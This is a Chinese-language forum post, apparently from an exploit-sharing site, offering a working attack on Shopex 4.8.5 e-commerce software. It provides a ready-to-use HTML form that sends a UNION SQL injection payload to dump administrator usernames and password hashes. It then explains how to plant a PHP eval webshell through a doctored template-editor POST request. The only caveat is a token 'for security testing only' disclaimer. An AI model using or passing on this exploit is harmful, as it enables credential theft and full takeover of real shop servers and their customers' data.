Shopex 4.8.5 SQLInjection注射以及后台拿shell

exp

<script language="javascript">

function expstart() {
var url = document.forms[0].url.value;
if(url != ""){
if(url.search("http://") < 0 && url.search("https://") < 0){
url = "http://" + url;
}
document.submit_url.action = url + "/?product-gnotify";
}else{
alert("Hello Hacker!!!");
}
}
</script>
<html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp [T00ls]</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E240x20203C7370616E207374796C653D22636F6C6F723A20236666303030303B223E7777772E30646179352E636F6D20476F21476F21476F213C2F7370616E3E),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<br><span style="color: #ff0000;">Site: </span><input type="text" name="url" value="http://www.0day5.com/"><br><br>
<input type="submit" value="Forum : www.0day5.com
本程序只能用于网站安全检测
禁止用于非法途径,产生的一切后果与作者无关!" onclick="expstart();">
</form><br>
<span style="color: #ff0000;">Time: 2012.06.18 </span>
<body>
</html>

保存为xx.html或者是访问http://www.0day5.tk/hei/shopex.html

拿shell方法….

第一步 页面管理 修改模版 然后选一个XML编辑

开始用 live http 抓包 你们懂的 然后把第一个POST包给抓出来

然后改包 包要这么改 我研究了半天 尼玛的菊花红

id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=<?php eval($_POST[c])?>

解释一下 id是你选择的模版文件夹名称 后面的info.xml 是你修改的XML文件 tmpid= 你们懂的 就是模版文件夹 然后 name 是你提交的文件名字 file_source 是后门或者shel

我这里是一句话 你们懂的 然后提交了之后 地址是这样的http://www.0day5.com/themes/文件名称/你的木马名称

发表评论